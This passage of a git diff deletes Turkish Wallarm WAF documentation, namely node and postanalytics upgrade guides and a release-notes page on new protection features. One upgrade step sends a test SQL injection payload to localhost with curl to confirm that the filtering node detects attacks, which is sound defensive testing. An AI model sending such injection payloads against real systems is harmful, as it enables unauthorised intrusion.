wallarm_mode off; - disable_acl "on"; # İstek kaynaklarının kontrolü devre dışıdır, denylisted IP'lerin wallarm-status servisine istek yapmasına izin verilir. https://docs.wallarm.com/admin-en/configure-parameters-en/#disable_acl - wallarm_enable_apifw off; - access_log off; - - location ~/wallarm-status$ { - wallarm_status on; - } -} -``` - -[İstatistik servisinin yapılandırılması hakkında daha fazla ayrıntı](../../admin-en/configure-statistics-service.md) - -### Wallarm engelleme sayfasını güncelleyin - -Yeni düğüm sürümünde Wallarm örnek engelleme sayfası [değiştirildi](what-is-new.md#new-blocking-page). Sayfadaki logo ve destek e‑postası artık varsayılan olarak boştur. - -Eğer `&/usr/share/nginx/html/wallarm_blocked.html` sayfası engellenen isteklere yanıt olarak döndürülmek üzere yapılandırılmışsa, yeni örnek sayfanın sürümünü [kopyalayıp özelleştirin](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page). - -## Adım 9: API portunu güncelleyin - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## Adım 10: Threat Replay Testing modülünü yeniden etkinleştirin (sadece düğüm 2.16 veya altından yükseltiliyorsa) - -[Threat Replay Testing modülü kurulumuna ilişkin öneriyi](../../vulnerability-detection/threat-replay-testing/setup.md) inceleyin ve gerekirse yeniden etkinleştirin. - -Bir süre sonra, modülün çalışmasının false positive üretmediğinden emin olun. False positive tespit ederseniz lütfen [Wallarm teknik desteği](mailto:support@wallarm.com) ile iletişime geçin. - -## Adım 11: NGINX'i yeniden başlatın - ---8<-- "../include/waf/installation/restart-nginx-systemctl.md" - -## Adım 12: Wallarm düğümü çalışmasını test edin - -Yeni düğümün çalışmasını test etmek için: - -1. Korunan kaynak adresine test [SQLI][sqli-attack-docs] ve [XSS][xss-attack-docs] saldırıları içeren bir istek gönderin: - - ``` - curl http://localhost/?id='or+1=1--a-' - ``` - -1. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içinde açın ve saldırıların listede göründüğünden emin olun. -1. Cloud üzerinde saklanan verileriniz (kurallar, IP lists) yeni düğümle senkronize olur olmaz, kurallarınızın beklendiği gibi çalıştığından emin olmak için bazı test saldırıları gerçekleştirin. - -## Adım 13: Trafiğin Wallarm düğümüne gönderilmesini yapılandırın - -Yük dengeleyicinizin hedeflerini Wallarm örneğine trafik gönderecek şekilde güncelleyin. Ayrıntılar için, yük dengeleyicinizin belgelerine bakın. - -Trafiği tamamen yeni düğüme yönlendirmeden önce, önce kısmen yönlendirmeniz ve yeni düğümün beklendiği gibi davrandığını kontrol etmeniz önerilir. - -## Adım 14: Eski düğümü kaldırın - -1. Wallarm Console → **Nodes** içinde düğümünüzü seçip **Delete** tıklayarak eski düğümü silin. -1. İşlemi onaylayın. - - Düğüm Cloud'dan silindiğinde, uygulamalarınıza gelen isteklerin filtrelenmesini durduracaktır. Filtreleme düğümünü silme işlemi geri alınamaz. Düğüm, düğümler listesinden kalıcı olarak silinecektir. - -1. Eski düğümlü makineyi silin veya sadece Wallarm düğüm bileşenlerinden temizleyin: - - === "Debian" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "Ubuntu" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "CentOS veya Amazon Linux 2.0.2021x ve altı" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "RHEL 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - -## Ayarların özelleştirilmesi - -Wallarm modülleri 6.x sürümüne güncellendi. Önceki filtreleme düğümü ayarları yeni sürüme otomatik olarak uygulanacaktır. Ek ayarlar yapmak için [kullanılabilir yönergeleri](../../admin-en/configure-parameters-en.md) kullanın. - ---8<-- "../include/waf/installation/common-customization-options-nginx-4.4.md" \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/older-versions/separate-postanalytics.md b/docs/latest-tr/updating-migrating/older-versions/separate-postanalytics.md deleted file mode 100644 index baf41d4505..0000000000 --- a/docs/latest-tr/updating-migrating/older-versions/separate-postanalytics.md +++ /dev/null @@ -1,70 +0,0 @@ -[docs-module-update]: nginx-modules.md -[img-wl-console-users]: ../../images/check-users.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[img-attacks-in-interface]: ../../images/admin-guides/test-attacks-quickstart.png -[nginx-custom]: ../../custom/custom-nginx-version.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[statistics-service-all-parameters]: ../../admin-en/configure-statistics-service.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md - -# EOL postanalytics modülünü yükseltme - -Bu talimatlar, ayrı bir sunucuya kurulmuş olan kullanım ömrü sonu (EOL) postanalytics modülünü (sürüm 3.6 ve altı) yükseltme adımlarını açıklar. Postanalytics modülü, [Wallarm NGINX modüllerini yükseltmeden][docs-module-update] önce yükseltilmelidir. - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -!!! info "All-in-one installer ile yükseltme" - Yükseltme, bireysel Linux paketleri kullanım dışı bırakıldığından Wallarm'ın [all-in-one installer](../../installation/nginx/all-in-one.md) kullanılarak gerçekleştirilir. Bu yöntem, önceki yaklaşıma kıyasla yükseltme sürecini ve sürekli dağıtım bakımını basitleştirir. - - Yükleyici aşağıdaki işlemleri otomatik olarak gerçekleştirir: - - 1. İşletim sisteminizi ve NGINX sürümünüzü kontrol etme. - 1. Algılanan işletim sistemi ve NGINX sürümü için Wallarm depolarını ekleme. - 1. Bu depolardan Wallarm paketlerini yükleme. - 1. Yüklenen Wallarm modülünü NGINX'inize bağlama. - 1. Sağlanan belirteç ile filtreleme düğümünü Wallarm Cloud'a bağlama. - - Bireysel Linux paketleriyle manuel yükseltme artık desteklenmemektedir. - - ![Manuel ile All-in-one karşılaştırması](../../images/installation-nginx-overview/manual-vs-all-in-one.png) - -## Gereksinimler - ---8<-- "../include/waf/installation/all-in-one-upgrade-requirements.md" - -## Adım 1: Temiz makineyi hazırlayın - ---8<-- "../include/waf/installation/all-in-one-clean-machine-latest.md" - -## Adım 2: Wallarm belirtecini hazırlayın - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## Adım 3: All-in-one Wallarm yükleyicisini indirin - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## Adım 4: Postanalytics'i yüklemek için all-in-one Wallarm yükleyicisini çalıştırın - ---8<-- "../include/waf/installation/all-in-one-postanalytics.md" - -## Adım 5: API portunu güncelleyin - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## Adım 6: Ayrı bir sunucudaki NGINX‑Wallarm modülünü yükseltin - -postanalytics modülü ayrı sunucuya kurulduktan sonra, farklı bir sunucuda çalışan [ilgili NGINX‑Wallarm modülünü yükseltin](nginx-modules.md). - -## Adım 7: NGINX‑Wallarm modülünü postanalytics modülüne yeniden bağlayın - ---8<-- "../include/waf/installation/all-in-one-postanalytics-reconnect.md" - -## Adım 8: NGINX‑Wallarm ve ayrı postanalytics modüllerinin etkileşimini kontrol edin - ---8<-- "../include/waf/installation/all-in-one-postanalytics-check-latest.md" - -## Adım 9: Eski postanalytics modülünü kaldırın - ---8<-- "../include/waf/installation/all-in-one-postanalytics-remove-old.md" \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/older-versions/what-is-new.md b/docs/latest-tr/updating-migrating/older-versions/what-is-new.md deleted file mode 100644 index 718560b139..0000000000 --- a/docs/latest-tr/updating-migrating/older-versions/what-is-new.md +++ /dev/null @@ -1,666 +0,0 @@ -# EOL bir düğümü yükseltirken Wallarm düğümünde neler yeni - -Bu sayfa, kullanım dışı bırakılmış sürümlerin (3.6 ve altı) düğümünü 5.0 sürümüne yükseltirken sunulan değişiklikleri listeler. Listelenen değişiklikler hem standart (müşteri) hem de çok kiracılı Wallarm düğümleri için geçerlidir. - -!!! warning "Wallarm düğümleri 3.6 ve altı kullanım dışı" - 3.6 ve altındaki Wallarm düğümlerinin [kullanım dışı](../versioning-policy.md#version-list) olması nedeniyle yükseltilmesi önerilir. - - 5.x sürümündeki Wallarm düğümünde düğüm yapılandırması ve trafik filtrelemesi önemli ölçüde basitleştirilmiştir. 5.x düğümünün bazı ayarları daha eski sürümlerin düğümleriyle **uyumlu değildir**. Modülleri yükseltmeden önce lütfen değişiklikler listesini ve [genel önerileri](../general-recommendations.md) dikkatle inceleyin. - -## All-in-one yükleyici ve DEB/RPM paketlerinin kullanım dışı bırakılması - -Artık, Wallarm düğümünü çeşitli ortamlarda NGINX için dinamik modül olarak kurarken ve yükseltirken, kurulumu kolaylaştırmak ve standart hale getirmek için tasarlanmış **all-in-one yükleyici** kullanılır. Bu yükleyici, işletim sisteminizi ve NGINX sürümünüzü otomatik olarak tanımlar ve gerekli tüm bağımlılıkları kurar. - -Yükleyici, aşağıdaki işlemleri otomatik olarak gerçekleştirerek süreci basitleştirir: - -1. İşletim sisteminizi ve NGINX sürümünüzü kontrol eder. -1. Algılanan işletim sistemi ve NGINX sürümü için Wallarm depolarını ekler. -1. Bu depolardan Wallarm paketlerini kurar. -1. Kurulan Wallarm modülünü NGINX’inize bağlar. -1. Sağlanan belirteci kullanarak filtreleme düğümünü Wallarm Cloud’a bağlar. - -[All-in-one yükleyici ile düğümün nasıl yükseltileceğine dair ayrıntılar →](nginx-modules.md) - -Düğüm kurulumu için DEB/RPM paketleri artık "kullanım dışı" durumundadır. - -## collectd’nin kaldırılması - -Önceden tüm filtreleme düğümlerine kurulan collectd servisi ilgili eklentileriyle birlikte kaldırılmıştır. Metri̇kler artık Wallarm’ın yerleşik mekanizmalarıyla toplanıp gönderilmekte, böylece harici araçlara bağımlılık azalmaktadır. - -Prometheus ve JSON formatlarında aynı metrikleri sağlayarak collectd’nin yerini alan [`/wallarm-status` uç noktasını](../../admin-en/configure-statistics-service.md) kullanın. - -Bu değişikliğin bir sonucu olarak, yapılandırma kurallarında da aşağıdakiler değişmiştir: - -* `/opt/wallarm/etc/collectd/wallarm-collectd.conf.d/wallarm-tarantool.conf` collectd yapılandırma dosyası artık kullanılmamaktadır. -* Daha önce metrikleri bir ağ eklentisi üzerinden iletmek için collectd kullandıysanız, örneğin: - - ``` - LoadPlugin network - - - Server "" "" - - ``` - - artık Prometheus üzerinden `/wallarm-status` kazımasına (scraping) geçmelisiniz. - -## API Sessions - -API ekonomisine uyarlanmış benzersiz bir güvenlik özelliği sunuyoruz - [API Sessions](../../api-sessions/overview.md). Bu ekleme, kullanıcıların API’leriniz ve uygulamalarınızla nasıl etkileşim kurduğuna dair şeffaflık sağlayarak, API’leriniz genelindeki saldırılar, anomaliler ve kullanıcı davranışlarına görünürlük kazandırır. - -![!API Sessions bölümü - izlenen oturumlar](../../images/api-sessions/api-sessions.png) - -Saldırganlar, eylemlerini meşru kullanıcı davranışlarıyla harmanlayarak çoğu zaman savunmasız uç noktaları istismar eder. Bu oturumların nasıl geliştiğine dair tam bağlam olmadan, kalıpları veya tehditleri belirlemek, birden çok araç ve sistemi içeren zaman alıcı bir süreç haline gelir. Kuruluşlar API düzeyinde uygun bir görünürlüğe sahip değildir. - -API Sessions ile güvenlik ekipleri artık tüm ilgili etkinlikleri kullanıcı oturumuna göre gruplanmış olarak görebilir ve saldırı dizilerine, kullanıcı anormalliklerine ve normal davranışlara benzersiz bir görünürlük sunar. Eskiden saatler veya günler süren araştırmalar artık Wallarm Console’dan sadece birkaç dakikada doğrudan gerçekleştirilebilir. - -Ana özellikler: - -* Saldırılar, anomaliler ve kullanıcı davranışlarına görünürlük: Bir oturumda yapılan her isteği görüntüleyin ve analiz edin, saldırı vektörlerini ve şüpheli kalıpları takip edin. -* Hem eski hem modern oturumlar için destek: Uygulamalarınız cookie tabanlı oturumlara veya JWT/OAuth’a dayansa da Wallarm API Sessions tam uyumluluk ve görünürlük sağlar. -* Bireysel saldırılar ve bunların ait olduğu oturumlar arasında sorunsuz gezinme. - -API Sessions ile güvenlik ekipleri artık kolayca: - -* Potansiyel saldırı yollarını ve tehlikeye atılmış kaynakları anlamak için tehdit aktörlerinin tam etkinliğini araştırabilir. -* Gölge veya zombi API’lere nasıl erişildiğini belirleyerek belgelendirilmemiş veya güncel olmayan API’lardan kaynaklanan riskleri azaltabilir. -* Güvenlik soruşturmaları sırasında işbirliğini teşvik etmek için temel içgörüleri meslektaşlarla paylaşabilir. - -[Daha fazla bilgi](../../api-sessions/overview.md) - -## API Sessions’ta yanıt parametreleri - -!!! tip "" - [NGINX Node 5.3.0 ve üstü](../node-artifact-versions.md) ve [Native Node 0.12.0 ve üstü](../native-node/node-artifact-versions.md) - -Wallarm’ın [API Sessions](../../api-sessions/overview.md) özelliği, kullanıcı aktiviteleri dizilerine görünürlük sağlar. Bu eklemeyle yalnızca istek değil, aynı zamanda her oturum içinde yanıt bilgileri de kullanılabilir: - -* Kullanıcı aktivitelerine net ve tam bir görünüm sağlayarak, yanıtların istenen başlık ve parametrelerini ilgili isteklerin içinde görüntülenecek şekilde yapılandırabilirsiniz. -* Oturumlar için gruplama anahtarları olarak yanıt parametrelerini kullanabilirsiniz (bkz. [örnek](../../api-sessions/setup.md#grouping-keys-example)); bu, isteklerin oturumlara gruplanmasını daha isabetli hale getirir. - -![!API Sessions - gruplama anahtarlarının çalışmasına örnek](../../images/api-sessions/api-sessions-grouping-keys.png) - -## Rate limits - -Uygun hız sınırlamasının (rate limiting) olmaması, saldırganların hizmet reddi (DoS) ile sonuçlanabilecek yüksek hacimli istekler başlatmasına veya sistemi aşırı yüklemesine olanak tanıdığı için API güvenliği açısından önemli bir sorun olmuştur; bu da meşru kullanıcıları olumsuz etkiler. - -Wallarm’ın rate limiting özelliği ile güvenlik ekipleri, hizmetin yükünü etkin şekilde yönetebilir ve yanlış alarmları önleyerek hizmetin meşru kullanıcılar için erişilebilir ve güvenli kalmasını sağlar. Bu özellik, geleneksel IP tabanlı hız sınırlamanın yanı sıra JSON alanları, base64 kodlu veriler, cookie’ler, XML alanları ve daha fazlası dahil olmak üzere istek ve oturum parametrelerine dayalı çeşitli bağlantı limitleri sunar. - -Örneğin, her kullanıcı için API bağlantılarını sınırlayarak dakikada binlerce istek yapmalarını engelleyebilirsiniz. Bu durum sunucularınıza ağır yük bindirir ve hizmetin çökmesine neden olabilir. Rate limiting uygulayarak sunucularınızı aşırı yüklenmeden koruyabilir ve tüm kullanıcıların API’ye adil erişimini sağlayabilirsiniz. - -Wallarm Console UI → **Rules WAF** → **Advanced rate limiting** içinde, kullanım senaryonuza uygun hız limit kapsamını, oran, patlama (burst), gecikme ve yanıt kodunu belirterek hız limitlerini kolayca yapılandırabilirsiniz. - -[Rate limit yapılandırma rehberi →](../../user-guides/rules/rate-limiting.md) - -Rate limiting kuralı, özelliği kurmanın önerilen yöntemi olsa da, yeni NGINX yönergelerini kullanarak da hız limitlerini ayarlayabilirsiniz: - -* [`wallarm_rate_limit`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit) -* [`wallarm_rate_limit_enabled`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_enabled) -* [`wallarm_rate_limit_log_level`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_log_level) -* [`wallarm_rate_limit_status_code`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_status_code) -* [`wallarm_rate_limit_shm_size`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_shm_size) - -## Credential stuffing tespiti - -Wallarm, credential stuffing girişimleri için gerçek zamanlı tespit ve bildirimler sunar. Credential stuffing, çalınmış veya zayıf kullanıcı adı/e‑posta ve parola çiftlerinin, kullanıcı hesaplarına yasa dışı erişim sağlamak amacıyla web sitesi giriş formlarına otomatik olarak gönderilmesidir; artık yakından izlenmektedir. Bu özellik, kimlik bilgileri tehlikeye atılmış hesapları belirlemenize ve hesap sahiplerini bilgilendirme ve hesap erişimini geçici olarak askıya alma gibi aksiyonlar alarak güvence altına almanıza olanak tanır. - -[Credential Stuffing Detection nasıl yapılandırılır](../../about-wallarm/credential-stuffing.md) - -![Saldırılar - credential stuffing](../../images/about-wallarm-waf/credential-stuffing/credential-stuffing-attacks.png) - -!!! info "Credential stuffing tespitini destekleyen seçili yapıtlar" - All-in-one yükleyici, NGINX Ingress Controller, NGINX tabanlı Docker imajı ve bulut imajları (AMI, GCP Image) gibi sınırlı sayıda yapıt artık yeni tanıtılan credential stuffing tespiti özelliğini desteklemektedir. - -## GraphQL API koruması - -Wallarm, varsayılan olarak GraphQL’de düzenli saldırıları (SQLi, RCE, [vb.](../../attacks-vulns-list.md)) tespit eder. Ancak, protokolün bazı yönleri, aşırı bilgi ifşası ve DoS ile ilgili [GraphQL’e özgü](../../attacks-vulns-list.md#graphql-attacks) saldırıların uygulanmasına olanak tanır. - -Wallarm, bu saldırılara karşı koruma sunar. Koruma, kuruluşunuzun GraphQL politikasını — GraphQL istekleri için bir dizi limit — yapılandırarak etkinleştirilir. Belirlenen limitlerden herhangi birini aşan isteklere, etkin filtreleme moduna göre filtreleme düğümü tarafından işlem yapılır — yalnızca politika ihlallerini kaydeder veya bu girişimleri kaydeder ve engeller. - -İşlevselliği kullanmaya başlamak için Wallarm Console’da en az bir [**Detect GraphQL attacks** kuralı](../../api-protection/graphql-rule.md#) oluşturmanız gerekir. - -[GraphQL API Protection nasıl yapılandırılır](../../api-protection/graphql-rule.md) - -![GraphQL eşik değerleri](../../images/user-guides/rules/graphql-rule.png) - -## Mitigation Controls - -Tüm Wallarm saldırı azaltma ayarları için birleşik bir yönetim merkezi — [**Mitigation Controls**](../../about-wallarm/mitigation-controls-overview.md) — sunuyoruz. Mitigation controls ile: - -* Tüm Wallarm azaltma ayarlarını tek bir yerden görüntüleyip yönetebilirsiniz. -* Tümünü birleşik bir şekilde yönetirsiniz (tüm kontroller benzer yapılandırma UI’ı ve seçeneklerine sahiptir). -* Her bir kontrolün mevcut modunun hızlı bir genel görünümünü elde edersiniz: aktif mi? sadece izliyor mu yoksa engelliyor mu? -* Her bir kontrol tarafından yakalanan saldırıların hızlı bir özetini alırsınız. - -![UI’de Mitigation Controls sayfası](../../images/user-guides/mitigation-controls/mc-main-page.png) - -## Dosya yükleme kısıtlama politikası - -Wallarm artık yüklenen dosyaların boyutunu doğrudan kısıtlamak için araçlar sunuyor. Bu, [OWASP API Top 10 2023](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md) listesinde yer alan en ciddi API güvenlik risklerinden biri olan [sınırsız kaynak tüketimini](../../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023) önlemeye yönelik önlemlerin bir parçasıdır. - -Abonelik planınıza bağlı olarak, yükleme kısıtlamaları mitigation control veya kural aracılığıyla uygulanır. Tam istek veya seçili bir noktası için dosya boyutu kısıtlamaları belirleyebilirsiniz. - -![Dosya yükleme kısıtlama MC - örnek](../../images/api-protection/mitigation-controls-file-upload-1.png) - -### Enumeration attack protection - -!!! tip "" - [NGINX Node 6.1.0 ve üstü](../node-artifact-versions.md) ve [Native Node 0.14.1 ve üstü](../native-node/node-artifact-versions.md) - -[Enumeration saldırılarına](../../attacks-vulns-list.md#enumeration-attacks) karşı yeni koruma seviyesi enumeration mitigation controls ile birlikte gelir: - -* [Enumeration attack protection](../../api-protection/enumeration-attack-protection.md) -* [BOLA enumeration protection](../../api-protection/enumeration-attack-protection.md) -* [Forced browsing protection](../../api-protection/enumeration-attack-protection.md) -* [Brute force protection](../../api-protection/enumeration-attack-protection.md) - -Daha önce bu koruma için kullanılan tetikleyicilerle karşılaştırıldığında, mitigation controls: - -* Hangi parametrelerin enumeration girişimleri için izleneceğini seçmeye olanak tanır. -* Hangi isteklerin sayılacağını gelişmiş ve sofistike biçimde filtrelemenize imkan verir. -* [API Sessions](../../api-sessions/overview.md) ile derin entegrasyon sağlar: tespit edilen saldırılar ilgili oturum içinde görüntülenir, size neler olup bittiğine ve neden oturum aktivitelerinin saldırı olarak işaretlenip engellendiğine dair tam bağlam sunar. - -![BOLA koruması mitigation control - örnek](../../images/user-guides/mitigation-controls/mc-bola-example-01.png) - -### DoS protection - -!!! tip "" - [NGINX Node 6.1.0 ve üstü](../node-artifact-versions.md) ve [Native Node 0.14.1 ve üstü](../native-node/node-artifact-versions.md) - -[ Sınırsız kaynak tüketimi](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md), en ciddi API güvenlik risklerini içeren [OWASP API Top 10 2023](../../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023) listesine dahil edilmiştir. Kendi başına bir tehdit olmakla (aşırı yüklemeden dolayı hizmetin yavaşlaması veya tamamen durması), bu aynı zamanda örneğin enumeration saldırıları gibi farklı saldırı türlerinin de temelini oluşturur. Belirli bir zaman diliminde çok fazla isteğe izin verilmesi bu risklerin başlıca nedenlerinden biridir. - -Wallarm, API’nize aşırı trafiği engellemeye yardımcı olmak için yeni [**DoS protection**](../../api-protection/dos-protection.md) mitigation control’ünü sağlar. - -![DoS protection - JWT örneği](../../images/api-protection/mitigation-controls-dos-protection-jwt.png) - -### Varsayılan kontroller - -Wallarm, etkinleştirildiğinde Wallarm platformunun tespit kabiliyetlerini önemli ölçüde artıran bir [varsayılan mitigation controls](../../about-wallarm/mitigation-controls-overview.md#default-controls) seti sunar. Bu kontroller, çeşitli yaygın saldırı kalıplarına karşı güçlü koruma sağlamak üzere önceden yapılandırılmıştır. Mevcut varsayılan mitigation controls şunları içerir: - -* [GraphQL koruması](../../api-protection/graphql-rule.md) -* Kullanıcı kimlikleri, nesne kimlikleri ve dosya adları için [BOLA (Broken Object Level Authorization) enumeration koruması](../../api-protection/enumeration-attack-protection.md#bola) -* Parolalar, OTP’ler ve kimlik doğrulama kodları için [Brute force koruması](../../api-protection/enumeration-attack-protection.md#brute-force) -* [Forced browsing koruması](../../api-protection/enumeration-attack-protection.md#forced-browsing) (404 yoklama) -* [Enumeration attack protection](../../api-protection/enumeration-attack-protection.md#generic-enumeration), şunlar dahil: - - * Kullanıcı/e‑posta enumerasyonu - * SSRF (Server-Side Request Forgery) enumerasyonu - * User-agent rotasyonu - -## Sınırsız kaynak tüketimine karşı koruma - -!!! tip "" - [NGINX Node 6.3.0 ve üstü](../node-artifact-versions.md) ve şu anda [Native Node](../../installation/nginx-native-node-internals.md#native-node) tarafından desteklenmemektedir. - -Wallarm’ın [API Abuse Prevention](../../api-abuse-prevention/overview.md) özelliği, [sınırsız kaynak tüketimini](../../attacks-vulns-list.md#unrestricted-resource-consumption) engelleme olanağı sunar — otomatik bir istemcinin uygun sınırlar olmadan aşırı API veya uygulama kaynaklarını tükettiği kötüye kullanım davranışı. Buna, çok sayıda zararsız isteğin gönderilmesi, işlemci, bellek veya bant genişliğinin tüketilmesi ve meşru kullanıcılar için hizmet bozulması neden olabilir. - -![API Abuse prevention profili](../../images/about-wallarm-waf/abi-abuse-prevention/create-api-abuse-prevention.png) - -Bu tür otomatik tehditleri tespit etmek için, API Abuse Prevention üç yeni [dedektör](../../api-abuse-prevention/overview.md#how-api-abuse-prevention-works) seti sunar: - -* **Yanıt süresi anomali**: API yanıt gecikmesindeki anormal kalıpları tanımlar; bu durum otomatik kötüye kullanım veya arka uç istismar girişimlerinin sinyali olabilir. -* **Aşırı istek tüketimi**: API’ye anormal derecede büyük istek yükleri gönderen istemcileri belirler; bu, arka uç işlem kaynaklarının kötüye kullanımını işaret edebilir. -* **Aşırı yanıt tüketimi**: ömürleri boyunca aktarılan toplam yanıt verisi hacmine dayanarak şüpheli oturumları işaretler. Tekil isteklere odaklanan dedektörlerden farklı olarak, bu dedektör, yavaş damlatma veya dağıtılmış kazıma saldırılarını belirlemek için tüm oturum boyunca yanıt boyutlarını toplar. - -## API Specification Enforcement - -Bu son güncellemede, API Specification Enforcement özelliğini sunuyoruz. Bu, gelen trafiği filtreleyerek yalnızca API spesifikasyonlarınıza uyan isteklerin geçmesine izin verir. İstemciler ve uygulamalarınız arasına konumlanan Wallarm düğümünü kullanarak, spesifikasyonlarınızdaki uç nokta açıklamalarını gerçek API istekleriyle karşılaştırır. Tanımsız uç nokta isteği veya yetkisiz parametre içeren istekler gibi tutarsızlıklar, yapılandırıldığı şekilde engellenir veya izlenir. - -Bu, potansiyel saldırı girişimlerini engelleyerek güvenliği güçlendirir ve ayrıca aşırı yüklenmeleri ve kötüye kullanımları önleyerek API performansını optimize eder. - -Ek olarak, bu güncelleme bazı dağıtım seçenekleri için özelliğin çalışmasını teknik olarak kontrol etmeyi sağlayan yeni parametreler getirir: - -* All-in-one yükleyici için: [`wallarm_enable_apifw`](../../admin-en/configure-parameters-en.md#wallarm_enable_apifw) NGINX yönergesi. -* NGINX Ingress Controller için: [`controller.wallarm.apifirewall`](../../admin-en/configure-kubernetes-en.md#controllerwallarmapifirewall) değer grubu. -* NGINX tabanlı Docker imajı için: `WALLARM_APIFW_ENABLE` ortam değişkeni. - -[API Specification Enforcement nasıl yapılandırılır](../../api-specification-enforcement/setup.md) - -![Spesifikasyon - güvenlik politikalarını uygulamak için kullanın](../../images/api-specification-enforcement/api-specification-enforcement-events.png) - -## Yeni saldırı türlerinin tespiti - -Wallarm yeni saldırı türlerini tespit eder: - -* [Broken Object Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/) (BOLA), Insecure Direct Object References (veya IDOR) olarak da bilinir, en yaygın API güvenlik açıklarından biri haline gelmiştir. Bir uygulama IDOR / BOLA güvenlik açığı içerdiğinde, hassas bilgilerin veya verilerin saldırganlara ifşa edilmesi olasılığı yüksektir. Saldırganların tek yapması gereken, API çağrısındaki kendi kaynaklarının kimliğini, başka bir kullanıcıya ait bir kaynağın kimliğiyle değiştirmektir. Uygun yetkilendirme kontrollerinin olmaması, saldırganların belirtilen kaynağa erişmesine olanak tanır. Dolayısıyla, bir nesnenin kimliğini alan ve nesne üzerinde herhangi bir işlem yapan her API uç noktası saldırı hedefi olabilir. - - Bu güvenlik açığının istismarını önlemek için, Wallarm düğümü uç noktalarınızı BOLA saldırılarına karşı korumak için kullanabileceğiniz [yeni bir tetikleyici](../../admin-en/configuration-guides/protecting-against-bola.md) içerir. Tetikleyici, belirli bir uç noktaya yönelik istek sayısını izler ve tetikleyicideki eşikler aşıldığında bir BOLA saldırı olayı oluşturur. -* [Mass Assignment](../../attacks-vulns-list.md#mass-assignment) - - Mass Assignment saldırısı sırasında, saldırganlar HTTP istek parametrelerini program kodundaki değişkenlere veya nesnelere bağlamaya çalışır. Bir API savunmasızsa ve bağlamaya izin veriyorsa, saldırganlar, açığa çıkarılması amaçlanmayan hassas nesne özelliklerini değiştirebilir; bu da ayrıcalık yükselmesine, güvenlik mekanizmalarının atlanmasına ve daha fazlasına yol açabilir. -* [SSRF](../../attacks-vulns-list.md#serverside-request-forgery-ssrf) - - Başarılı bir SSRF saldırısı, saldırgana saldırıya uğrayan web sunucusu adına istek yapma olanağı sağlayabilir; bu, kullanılan ağ bağlantı noktalarının ortaya çıkarılmasına, dahili ağların taranmasına ve yetkilendirmenin atlanmasına yol açabilir. - -## API Discovery ve API Sessions’ta hassas iş akışları - -!!! tip "" - [NGINX Node 5.3.0 ve üstü](../node-artifact-versions.md) ve [Native Node 0.10.1 ve üstü](../native-node/node-artifact-versions.md) - -Hassas iş akışı yeteneği ile Wallarm’ın [API Discovery](../../api-discovery/overview.md) özelliği, kimlik doğrulama, hesap yönetimi, faturalama ve benzeri kritik işlevler gibi belirli iş akışları ve işlevler için kritik olan uç noktaları otomatik olarak tanımlayabilir. - -Bu, hassas iş akışlarıyla ilgili uç noktaların düzenli olarak izlenmesini ve güvenlik açıkları veya ihlaller açısından denetlenmesini ve geliştirme, bakım ve güvenlik çalışmaları için önceliklendirilmesini sağlar. - -![API Discovery - Hassas iş akışları](../../images/about-wallarm-waf/api-discovery/api-discovery-sbf.png) - -Tanımlanan hassas iş akışları Wallarm’ın [API Sessions](../../api-sessions/overview.md) özelliğine yayılır: bir oturumun istekleri, API Discovery’de hassas iş akışları için önemli olarak etiketlenen uç noktaları etkiliyorsa, bu oturum otomatik olarak bu iş akışını etkiliyor olarak [etiketlenecektir](../../api-sessions/exploring.md#sensitive-business-flows). - -Oturumlara hassas iş akışı etiketleri atandıktan sonra, belirli bir iş akışına göre filtrelemek mümkün hale gelir; bu da analizi en önemli olan oturumların seçilmesini kolaylaştırır. - -![!API Sessions - hassas iş akışları](../../images/api-sessions/api-sessions-sbf-no-select.png) - -## Tam teşekküllü GraphQL ayrıştırıcı - -!!! tip "" - [NGINX Node 5.3.0 ve üstü](../node-artifact-versions.md) ve [Native Node 0.12.0 ve üstü](../native-node/node-artifact-versions.md) - -Tam teşekküllü [GraphQL ayrıştırıcı](../../user-guides/rules/request-processing.md#gql), GraphQL istekleri içinde girdi doğrulama saldırılarının (örn. SQL enjeksiyonları) tespitini önemli ölçüde iyileştirerek **daha yüksek doğruluk ve minimum yalancı pozitif** sağlar. - -Ana faydalar: - -* Girdi doğrulama saldırılarının (örn. SQL enjeksiyonları) **iyileştirilmiş tespiti** -* **Ayrıntılı parametre içgörüleri**: GraphQL istek parametrelerinin değerlerini API Sessions içinde çıkarın ve görüntüleyin, bunları oturum bağlam parametreleri olarak kullanın. - - ![!API Sessions yapılandırması - GraphQL istek parametresi](../../images/api-sessions/api-sessions-graphql.png) - -* **Kesin saldırı arama**: argümanlar, direktifler ve değişkenler gibi belirli GraphQL istek bileşenlerindeki saldırıları kesin biçimde 